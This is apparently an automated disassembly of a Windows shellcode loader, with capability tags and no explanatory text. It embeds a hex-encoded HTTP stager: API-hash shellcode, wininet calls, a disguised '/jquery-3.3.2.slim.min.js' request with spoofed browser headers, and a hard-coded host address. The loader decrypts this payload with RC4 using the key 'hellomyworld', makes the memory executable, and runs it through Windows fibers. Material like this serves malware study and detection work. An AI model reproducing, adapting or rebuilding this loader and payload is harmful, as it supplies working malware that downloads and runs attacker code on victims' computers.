Function at 0x1400011e0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows fibers

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xc70]
sub rsp, 0xd70
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0xc60], rax
xor ebx, ebx
mov r14d, ebx
mov dword [rsp + 0x20], ebx
movsd xmm0, qword [str.hellomyworld]
movsd qword [rbp - 0x80], xmm0
mov eax, dword [0x140004448]
mov dword [rbp - 0x78], eax
movzx eax, byte [0x14000444c]
mov byte [rbp - 0x74], al
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], bl
mov r8d, 0x6f4
lea rdx, str.47A8DF9E9C27F3000000415141505251564831D265488B5260488B5218488B5220488B7250480FB74A4A4D31C94831C0AC3C617C022C2041C1C90D4101C1E2ED524151488B52208B423C4801D0668178180B0275728B80880000004885C074674801D0508B4818448B40204901D0E35648FFC9418B34884801D64D31C94831C0AC41C1C90D4101C138E075F14C034C24084539D175D858448B40244901D066418B0C48448B401C4901D0418B04884801D0415841585E595A41584159415A4883EC204152FFE05841595A488B12E94FFFFFFF5D6A0049BE77696E696E65740041564989E64C89F141BA4C772607FFD54831C94831D24D31C04D31C94150415041BA3A5679A7FFD5EB735A4889C141B8901F00004D31C9415141516A03415141BA57899FC6FFD5EB595B4889C14831D24989D84D31C9526800024084525241BAEB552E3BFFD54889C64883C3506A0A5F4889F14889DA49C7C0FFFFFFFF4D31C9525241BA2D06187BFFD585C00F859D01000048FFCF0F848C010000EBD3E9E4010000E8A2FFFFFF2F6A71756572792D332E332E322E736C696D2E6D696E2E6A73006444BC2B10BA41A2F06270B6EC600A3CF2C68FEF77422F2CFDF7B835870616F17CC4213C636CC825057DEDB39E8F7D0B1A9542DBCC004163636570743A20746578742F68746D6C2C6170706C69636174696F6E2F7868746D6C2B786D6C2C6170706C69636174696F6E2F786D6C3B713D302E392C2A2F2A3B713D302E380D0A4163636570742D4C616E67756167653A20656E2D55532C656E3B713D302E350D0A526566657265723A20687474703A2F2F636F64652E6A71756572792E636F6D2F0D0A4163636570742D456E636F64696E673A20677A69702C206465666C6174650D0A557365722D4167656E743A204D6F7A696C6C612F352E30202857696E646F7773204E5420362E333B2054726964656E742F372E303B2072763A31312E3029206C696B65204765636B6F0D0A00CE16EB71255B8EC89A746F1E3AC578C75E69365ABF323AB125CF4682CE4370882A31400402DE35D2BECCF002F398A3A1A533386EF595190041BEF0B5A256FFD54831C9BA0000400041B80010000041B94000000041BA58A453E5FFD5489353534889E74889F14889DA41B8002000004989F941BA129689E2FFD54883C42085C074B6668B074801C385C075D75858584805AF0F000050C3E89FFDFFFF31302E352E38342E3135340005F5E100
lea rcx, [rsp + 0x38]
call fcn.140001f90
nop
xor edx, edx
mov r8d, 0x7d0
lea rcx, [rbp + 0x490]
call sub.VCRUNTIME140.dll_memset
mov edi, ebx
lea esi, [rbx + 2]
mov rax, qword [rsp + 0x48]
test rax, rax
je 0x140001456
lea r12, [0x140004c00]
lea r13, [0x140004b60]
lea r15, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
nop dword [rax]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
cmp rax, rdi
jb 0x1400017d6
sub rax, rdi
mov r8, rsi
cmp rax, rsi
cmovb r8, rax
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rdx, qword [rsp + 0x38]
add rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.140001f90
or r14d, 1
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r13
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r14d, 2
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r15
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x58]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x58], rax
mov qword [rbp + 0x10], rbx
mov dword [rbp + 0x18], ebx
lea rdx, [0x1400011c0]
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
mov rcx, rax
call fcn.140002140
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rcx, rdi
shr rcx, 1
movzx eax, byte [rsp + 0x30]
mov byte [rbp + rcx + 0x490], al
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r15
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x58]
call fcn.140001d50
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140001444
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000143f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400016ae
call fcn.1400023bc
add rdi, 2
mov rax, qword [rsp + 0x48]
cmp rdi, rax
jb 0x1400012b0
mov ecx, ebx
cmp byte [rbp - 0x80], cl
je 0x14000146c
nop dword [rax]
inc ecx
movsxd rax, ecx
cmp byte [rbp + rax - 0x80], 0
jne 0x140001460
mov r11d, ebx
cmp byte [rbp + 0x490], r11b
je 0x140001490
nop dword [rax + rax]
inc r11d
movsxd rax, r11d
cmp byte [rbp + rax + 0x490], 0
jne 0x140001480
mov eax, ebx
lea rdx, [rbp - 0x70]
mov r9d, pe_nt_image_headers64
nop dword [rax]
mov byte [rdx], al
inc eax
lea rdx, [rdx + 1]
cmp eax, r9d
jl 0x1400014a0
mov r8d, ebx
cmp ecx, r9d
jl 0x1400016b5
lea rax, [rbp + 0x90]
lea rcx, [rbp - 0x80]
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rsi, 1
jne 0x1400014d0
mov eax, ebx
mov r10, rbx
mov r8d, r9d
nop word [rax + rax]
movzx edi, byte [rbp + r10 - 0x70]
movzx ecx, byte [rbp + r10 + 0x90]
add eax, ecx
add eax, edi
and eax, 0x800000ff
jge 0x140001553
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea rdx, [rbp - 0x70]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [rbp + r10 - 0x70], cl
mov byte [rdx], dil
inc r10
sub r9, 1
jne 0x140001530
mov edi, r11d
test r11d, r11d
jle 0x1400016e5
lea rsi, [rbp + 0x90]
nop dword [rax]
nop dword [rax + rax]
dec edi
inc r8d
and r8d, 0x800000ff
jge 0x1400015ab
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
lea r9, [rbp - 0x70]
add r9, rcx
movzx r10d, byte [r9]
add eax, r10d
and eax, 0x800000ff
jge 0x1400015cc
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea rdx, [rbp - 0x70]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r9], cl
mov byte [rdx], r10b
movzx edx, byte [r9]
add rdx, r10
movzx ecx, dl
movzx edx, byte [rbp + rcx - 0x70]
mov byte [rsi], dl
inc rsi
test edi, edi
jg 0x140001590
mov edx, ebx
cmp r11d, 0x40
jb 0x1400016e7
mov ecx, r11d
and ecx, 0x8000003f
jge 0x140001615
dec ecx
or ecx, 0xffffffc0
inc ecx
mov eax, r11d
sub eax, ecx
movsxd rcx, eax
nop dword [rax]
movdqu xmm1, xmmword [rbp + rbx + 0x90]
movdqu xmm0, xmmword [rbp + rbx + 0x490]
pxor xmm1, xmm0
movdqu xmmword [rbp + rbx + 0x490], xmm1
movdqu xmm1, xmmword [rbp + rbx + 0xa0]
movdqu xmm0, xmmword [rbp + rbx + 0x4a0]
pxor xmm1, xmm0
movdqu xmmword [rbp + rbx + 0x4a0], xmm1
movdqu xmm1, xmmword [rbp + rbx + 0xb0]
movdqu xmm0, xmmword [rbp + rbx + 0x4b0]
pxor xmm1, xmm0
movdqu xmmword [rbp + rbx + 0x4b0], xmm1
movdqu xmm1, xmmword [rbp + rbx + 0xc0]
movdqu xmm0, xmmword [rbp + rbx + 0x4c0]
pxor xmm1, xmm0
movdqu xmmword [rbp + rbx + 0x4c0], xmm1
add edx, 0x40
add rbx, 0x40
cmp rbx, rcx
jl 0x140001620
jmp 0x1400016e7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movsxd r10, ecx
mov rdx, rbx
test r10, r10
jle 0x1400016b8
movsxd rcx, r8d
movzx eax, byte [rbp + rdx - 0x80]
mov byte [rbp + rcx + 0x90], al
inc r8d
cmp r8d, r9d
jge 0x140001522
inc rdx
cmp rdx, r10
jl 0x1400016c0
jmp 0x1400016b8
mov edx, ebx
movsxd rcx, edx
movsxd r8, r11d
cmp rcx, r8
jge 0x140001717
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x90]
xor byte [rbp + rcx + 0x490], al
inc rcx
cmp rcx, r8
jl 0x140001700
lea r9, [rsp + 0x78]
mov edx, 0x7d0
mov r8d, 0x40
lea rcx, [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor r8d, r8d
lea rdx, [rbp + 0x490]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFiber]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x1400017a4
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000179f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000179f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023bc
xor eax, eax
mov rcx, qword [rbp + 0xc60]
xor rcx, rsp
call fcn.140002360
lea r11, [rsp + 0xd70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140002120
nop
int3